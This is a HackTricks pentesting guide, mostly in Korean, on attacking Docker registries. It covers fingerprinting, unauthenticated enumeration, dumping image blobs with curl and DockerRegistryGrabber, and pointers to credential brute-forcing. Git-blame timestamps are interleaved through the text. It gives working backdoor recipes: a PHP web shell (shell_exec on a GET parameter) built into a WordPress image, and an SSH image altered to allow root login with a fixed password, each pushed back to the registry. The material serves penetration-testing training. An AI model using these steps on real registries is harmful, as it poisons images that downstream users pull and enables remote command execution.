2024-04-06 18:36:54 +00:00
# 5000 - Pentesting Docker Registry
2022-04-28 16:01:33 +00:00
2024-07-19 05:21:00 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 05:21:00 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 05:21:00 +00:00
< summary > Support HackTricks< / summary >
2022-04-28 16:01:33 +00:00
2024-07-19 05:21:00 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 05:21:00 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
## 기본 정보
2021-01-03 00:43:09 +00:00
2024-07-19 05:21:00 +00:00
**Docker registry**로 알려진 저장 및 배포 시스템은 이름이 지정된 Docker 이미지에 대해 존재하며, 여러 버전이 태그로 구분될 수 있습니다. 이러한 이미지는 레지스트리 내의 **Docker repositories**에 조직되어 있으며, 각 리포지토리는 특정 이미지의 다양한 버전을 저장합니다. 제공되는 기능을 통해 사용자는 필요한 권한이 있는 경우 이미지를 로컬로 다운로드하거나 레지스트리에 업로드할 수 있습니다.
2021-01-03 00:43:09 +00:00
2024-07-19 05:21:00 +00:00
**DockerHub**는 Docker의 기본 공개 레지스트리로 사용되지만, 사용자는 오픈 소스 Docker registry/distribution의 온프레미스 버전을 운영하거나 상업적으로 지원되는 **Docker Trusted Registry**를 선택할 수도 있습니다. 또한, 다양한 다른 공개 레지스트리를 온라인에서 찾을 수 있습니다.
2021-01-03 00:43:09 +00:00
2024-02-10 21:30:13 +00:00
온프레미스 레지스트리에서 이미지를 다운로드하려면 다음 명령을 사용합니다:
2024-02-08 21:36:50 +00:00
```bash
2021-01-03 00:43:09 +00:00
docker pull my-registry:9000/foo/bar:2.1
```
2024-07-19 05:21:00 +00:00
이 명령은 `my-registry` 도메인의 포트 `9000` 에 있는 온프레미스 레지스트리에서 `foo/bar` 이미지 버전 `2.1` 을 가져옵니다. 반대로, `2.1` 이 최신 버전인 경우 DockerHub에서 동일한 이미지를 다운로드하려면 명령이 다음과 같이 간단해집니다:
2024-02-08 21:36:50 +00:00
```bash
2021-01-03 00:43:09 +00:00
docker pull foo/bar
```
2024-02-10 21:30:13 +00:00
**기본 포트:** 5000
2021-10-18 11:21:18 +00:00
```
2021-01-03 00:43:09 +00:00
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
```
2024-07-19 05:21:00 +00:00
## Discovering
2024-04-06 18:36:54 +00:00
2024-07-19 05:21:00 +00:00
이 서비스를 발견하는 가장 쉬운 방법은 nmap의 출력에서 확인하는 것입니다. 어쨌든, HTTP 기반 서비스이므로 HTTP 프록시 뒤에 있을 수 있으며 nmap이 이를 감지하지 못할 수 있습니다.\
2024-02-10 21:30:13 +00:00
일부 지문:
2021-01-03 00:43:09 +00:00
2024-07-19 05:21:00 +00:00
* `/` 에 접근하면 응답에 아무것도 반환되지 않습니다.
* `/v2/` 에 접근하면 `{}` 가 반환됩니다.
* `/v2/_catalog` 에 접근하면 다음을 얻을 수 있습니다:
2024-02-10 21:30:13 +00:00
* `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
2021-01-03 00:43:09 +00:00
2024-07-19 05:21:00 +00:00
## Enumeration
2021-01-03 00:43:09 +00:00
2022-05-01 13:25:53 +00:00
### HTTP/HTTPS
2021-01-03 00:43:09 +00:00
2024-07-19 05:21:00 +00:00
Docker registry는 **HTTP** 또는 **HTTPS**를 사용하도록 구성될 수 있습니다. 따라서 가장 먼저 해야 할 일은 **어떤 것이** 구성되어 있는지 **찾는 것**입니다:
2021-01-03 00:43:09 +00:00
```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
2024-02-10 21:30:13 +00:00
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
2021-01-03 00:43:09 +00:00
Warning: < FILE > " to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
```
2024-07-19 05:21:00 +00:00
### Authentication
2024-04-06 18:36:54 +00:00
2024-07-19 05:21:00 +00:00
Docker registry는 **authentication**을 요구하도록 구성될 수 있습니다:
2021-01-03 00:43:09 +00:00
```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```
2024-07-19 05:21:00 +00:00
Docker Registry가 인증을 요구하는 경우 [**이 방법을 사용하여 무차별 대입 공격을 시도할 수 있습니다** ](../generic-methodologies-and-resources/brute-force.md#docker-registry ).\
**유효한 자격 증명을 찾으면 이를 사용하여** 레지스트리를 열거해야 하며, `curl` 에서는 다음과 같이 사용할 수 있습니다:
2021-01-03 00:43:09 +00:00
```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```
2024-07-19 05:21:00 +00:00
### Enumeration using DockerRegistryGrabber
2024-04-06 18:36:54 +00:00
2024-07-19 05:21:00 +00:00
[DockerRegistryGrabber ](https://github.com/Syzik/DockerRegistryGrabber )는 도커 레지스트리를 열거/덤프하는 파이썬 도구입니다 (기본 인증 없이 또는 기본 인증과 함께).
2021-12-13 00:07:45 +00:00
```bash
2024-03-26 09:10:37 +00:00
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
____ ____ ____
| _ \ | _ \ / ___|
| | | || |_) || | _
| |_| || _ < | |_ | |
|____/ |_| \_\ \____|
Docker Registry grabber tool v2
by @SyzikSecu
positional arguments:
url URL
options:
-h, --help show this help message and exit
-p port port to use (default : 5000)
Authentication:
-U USERNAME Username
-P PASSWORD Password
-A header Authorization bearer token
Actions:
--list
--dump_all
--dump DOCKERNAME DockerName
Example commands:
python drg.py http://127.0.0.1 --list
python drg.py http://127.0.0.1 --dump my-ubuntu
python drg.py http://127.0.0.1 --dump_all
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
python drg.py https://127.0.0.1 -A '< Auth BEARER TOKEN > ' --list
python drg.py https://127.0.0.1 -A '< Auth BEARER TOKEN > ' --dump my-ubuntu
python drg.py https://127.0.0.1 -A '< Auth BEARER TOKEN > ' --dump_all
2021-12-13 00:07:45 +00:00
python3 DockerGraber.py http://127.0.0.1 --list
[+] my-ubuntu
[+] my-ubuntu2
2024-03-26 09:10:37 +00:00
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
2021-12-13 00:07:45 +00:00
[+] blobSum found 5
[+] Dumping my-ubuntu
2024-02-10 21:30:13 +00:00
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
2024-03-26 09:10:37 +00:00
python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] my-ubuntu
[+] my-ubuntu2
2021-12-13 00:07:45 +00:00
[+] blobSum found 5
2024-03-26 09:10:37 +00:00
[+] Dumping my-ubuntu
2024-02-10 21:30:13 +00:00
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
2021-12-13 00:07:45 +00:00
[+] blobSum found 5
2024-03-26 09:10:37 +00:00
[+] Dumping my-ubuntu2
2024-02-10 21:30:13 +00:00
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
2021-12-13 00:07:45 +00:00
```
2024-07-19 05:21:00 +00:00
### Enumeration using curl
2024-04-06 18:36:54 +00:00
2024-07-19 05:21:00 +00:00
한 번 **도커 레지스트리에 접근을 얻은 후** 사용할 수 있는 몇 가지 명령어는 다음과 같습니다:
2021-01-03 00:43:09 +00:00
```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}
#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
2024-02-10 21:30:13 +00:00
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
2021-01-03 00:43:09 +00:00
}
#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
```
{% hint style="warning" %}
2024-07-19 05:21:00 +00:00
다운로드하고 블롭 파일을 압축 해제하면 현재 디렉토리에 파일과 폴더가 나타납니다. **모든 블롭을 다운로드하고 동일한 폴더에 압축 해제하면 이전에 압축 해제된 블롭의 값이 덮어씌워지므로 주의하십시오. 각 블롭의 정확한 내용을 검사하기 위해 각 블롭을 다른 폴더 안에 압축 해제하는 것이 흥미로울 수 있습니다.**
2021-01-03 00:43:09 +00:00
{% endhint %}
2024-07-19 05:21:00 +00:00
### Enumeration using docker
2021-01-03 00:43:09 +00:00
```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE CREATED CREATED BY SIZE COMMENT
2024-02-10 21:30:13 +00:00
#ed05bef01522 2 years ago ./run.sh 46.8MB
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
2021-01-03 00:43:09 +00:00
#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```
2024-07-19 05:21:00 +00:00
### WordPress 이미지에 백도어 추가하기
2024-04-06 18:36:54 +00:00
2024-07-19 05:21:00 +00:00
Docker Registry에서 WordPress 이미지를 발견한 경우, 백도어를 추가할 수 있습니다.\
**백도어**를 **생성**합니다:
2021-01-03 00:43:09 +00:00
{% code title="shell.php" %}
```bash
<?php echo shell_exec($_GET["cmd"]); ?>
```
2024-03-26 09:10:37 +00:00
{% endcode %}
2021-01-03 00:43:09 +00:00
2024-07-19 05:21:00 +00:00
**Dockerfile**를 생성합니다:
2021-01-03 00:43:09 +00:00
{% code title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
```
{% endcode %}
2024-07-19 05:21:00 +00:00
**새로운** 이미지를 **생성**하고, **생성**되었는지 **확인**한 후, **푸시**합니다:
2021-01-03 00:43:09 +00:00
```bash
2021-12-13 00:07:45 +00:00
docker build -t 10.10.10.10:5000/wordpress .
2024-02-10 21:30:13 +00:00
#Create
2021-01-03 00:43:09 +00:00
docker images
docker push registry:5000/wordpress #Push it
```
2024-07-19 05:21:00 +00:00
### Backdooring SSH server image
2024-04-06 18:36:54 +00:00
2024-07-19 05:21:00 +00:00
Docker Registry에서 SSH 이미지를 발견하고 이를 백도어하고 싶다고 가정해 보겠습니다.\
**이미지를 다운로드**하고 **실행**합니다:
2021-01-03 00:43:09 +00:00
```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```
2024-07-19 05:21:00 +00:00
`sshd_config` 파일을 SSH 이미지에서 추출합니다:
2021-01-03 00:43:09 +00:00
```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```
2024-07-19 05:21:00 +00:00
And modify it to set: `PermitRootLogin yes`
2024-04-06 18:36:54 +00:00
2024-07-19 05:21:00 +00:00
Create a **Dockerfile** like the following one:
2021-01-03 00:43:09 +00:00
2024-07-19 05:21:00 +00:00
{% tabs %}
{% tab title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```
{% endtab %}
{% endtabs %}
2024-04-06 18:36:54 +00:00
2024-07-19 05:21:00 +00:00
**새로운** 이미지를 **생성**하고, **생성**되었는지 **확인**한 후, **푸시**합니다:
```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
```
## References
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/ ](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/ )
2024-04-06 18:36:54 +00:00
2024-07-19 05:21:00 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2024-02-08 21:36:50 +00:00
2022-04-28 16:01:33 +00:00
< details >
2024-07-19 05:21:00 +00:00
< summary > Support HackTricks< / summary >
2022-04-28 16:01:33 +00:00
2024-07-19 05:21:00 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 05:21:00 +00:00
{% endhint %}